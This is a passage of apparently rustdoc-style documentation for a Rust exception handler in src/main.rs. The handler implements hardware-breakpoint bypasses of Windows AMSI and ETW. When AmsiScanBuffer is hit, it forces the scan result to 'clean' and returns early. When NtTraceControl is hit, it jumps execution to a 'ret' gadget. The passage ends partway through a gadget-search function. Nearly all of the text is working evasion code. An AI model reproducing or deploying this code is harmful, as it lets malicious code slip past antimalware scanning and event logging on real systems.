Function exception_handler

src/main.rs:142–180

(exceptions: *mut EXCEPTION_POINTERS)

}

unsafe extern "system" fn exception_handler(exceptions: *mut EXCEPTION_POINTERS) -> LONG {
    unsafe {
        let context = &mut *(*exceptions).ContextRecord;
        let exception_code = (*(*exceptions).ExceptionRecord).ExceptionCode;
        let exception_address = (*(*exceptions).ExceptionRecord).ExceptionAddress as usize;

        if exception_code == EXCEPTION_SINGLE_STEP {
            if let Some(amsi_address) = AMSI_SCAN_BUFFER_PTR {
                if exception_address == amsi_address as usize {
                    println!("[+] AMSI Bypass invoked at address: {:#X}", exception_address);
                    let return_address = get_return_address(context);
                    let scan_result_ptr = get_arg(context, 5) as *mut i32;
                    *scan_result_ptr = AMSI_RESULT_CLEAN;

                    set_ip(context, return_address);
                    adjust_stack_pointer(context, std::mem::size_of::<*mut u8>() as i32);
                    set_result(context, S_OK as usize);

                    clear_breakpoint(context, 0);
                    return EXCEPTION_CONTINUE_EXECUTION;
                }
            }

            if let Some(nt_trace_address) = NT_TRACE_CONTROL_PTR {
                if exception_address == nt_trace_address as usize {
                    println!("[+] NtTraceControl Bypass invoked at address: {:#X}", exception_address);
                    if let Some(new_rip) = find_gadget(exception_address, b"\xc3", 1, 500) {
                        context.Rip = new_rip as u64;
                    }

                    clear_breakpoint(context, 1);
                    return EXCEPTION_CONTINUE_EXECUTION;
                }
            }
        }

        EXCEPTION_CONTINUE_SEARCH
    }
}

fn find_gadget(function: usize, stub: &[u8], size: usize, dist: usize) -> Option<usize> {
    for i in 0..dist {